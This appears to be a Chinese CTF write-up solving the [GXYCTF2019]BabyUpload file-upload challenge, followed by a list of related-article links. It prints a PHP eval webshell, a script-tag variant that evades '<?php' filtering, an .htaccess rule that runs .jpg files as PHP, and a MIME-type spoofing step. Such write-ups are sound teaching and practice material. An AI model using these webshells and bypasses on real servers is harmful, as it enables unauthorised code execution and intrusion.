当前位置: 首页 > article >正文

[GXYCTF2019]BabyUpload--详细解析

信息搜集

进入界面,直接就是文件上传界面,结合题目,得知考察的是文件上传漏洞
在这里插入图片描述

思路

文件上传漏洞,第一步先看有没有前端校验
在这里插入图片描述
没有前端校验。

我们写一个一句话木马文件

//shell.php
GIF89a
<?php @eval($_POST[1]);?>

直接上传试试:
在这里插入图片描述界面回显后缀名不能有ph,说明后端对后缀名进行了检测。
那我们修改后缀为.png,然后上传试试:在这里插入图片描述
回显上传类型也太露骨了吧

最开始是猜测是对文件内容进行了过滤,所有再次上传.png文件并抓包测试一下过滤了什么,发现无论怎么修改文件内容都会显示上传类型露骨。
重新审视一下这句话,上传类型在这里指的是文件的后缀类型,将png修改为jpg,上传:
在这里插入图片描述回显变了,但是还是没有上传成功。
根据提示来看,应该是对文件内容中的php语言标签进行了过滤。抓包测试一下到底过滤了没有:
这里用的是我自己总结的字典,需要的可以私信我。
在这里插入图片描述
可以看到过滤了<?php标签和<?=短标签,由于没有单独过滤php,所有我们可以使用script类型标签写马。

//shell.jpg
GIF89a
<script language='php'>@eval($_POST[1]);</script>

上传:
在这里插入图片描述

/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/shell.jpg succesfully uploaded!

成功上传,且获取了上传路径。
这里就和我们之前做的 [MRCTF2020]你传你马呢 很像了,都是将上传的文件放到了upload目录下的一个子目录,导致我们不能使用.user.ini文件,而是要使用.htaccess配置文件。

//.htaccess
AddType application/x-httpd-php .jpg

上传该文件:
在这里插入图片描述直接上传还是被过滤了。那我们把MIME类型修改为image/jpeg试一下。
在这里插入图片描述

/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/.htaccess succesfully uploaded!

成功上传。这时候直接访问我们传入的木马文件即可。
在这里插入图片描述
phpinfo()查看一下,过滤了很多命令,还是拿蚁剑连接吧。
在这里插入图片描述
根目录找到flag。

总结

和之前做的 [MRCTF2020]你传你马呢 很相似。
新颖的点在于这道题对.png文件也进行了过滤,需要我们使用.jpg文件。由于很多题目我们习惯了上传.png文件,导致忽略了这种过滤。
今后在遇到.png文件失效的情况下,不妨多尝试一下.jpg文件。


http://www.kler.cn/a/396692.html

相关文章:

  • SystemVerilog学习——类的继承
  • C/C++静态库引用过程中出现符号未定义的处理方式
  • java-Day06 内部类 Lambda表达式 API
  • 如何在 Ubuntu 上 部署 OceanBase
  • MySQL-初识数据库
  • 机器学习、深度学习面试知识点汇总
  • 三分频电路设计
  • MyBatis CRUD快速入门
  • C++之红黑树
  • element-plus表格内容如果在浏览器缩小时出现省略号时显示tooltip
  • 【Qt实现虚拟键盘】
  • Springboot集成ElasticSearch实现minio文件内容全文检索
  • Python数据分析NumPy和pandas(二十九、其他Python可视化工具)
  • C#/WinForm拖拽文件上传
  • 为什么用SQL而不是Excel+VBA?
  • 深入探索R语言在机器学习中的应用与实践
  • Tensorflow基本概念
  • LabVIEW弧焊参数测控系统
  • 深度学习反向传播需要可导还是需要可微
  • Mybatis-Day1
  • 计算机网络HTTP——针对实习面试
  • 黑马程序员MQ学习【持续更新】
  • Mybatis快速入门 ResultMap 分页的实现
  • vscode Code is unreachable Pylance
  • uniapp h5地址前端重定向跳转
  • 音频格式转换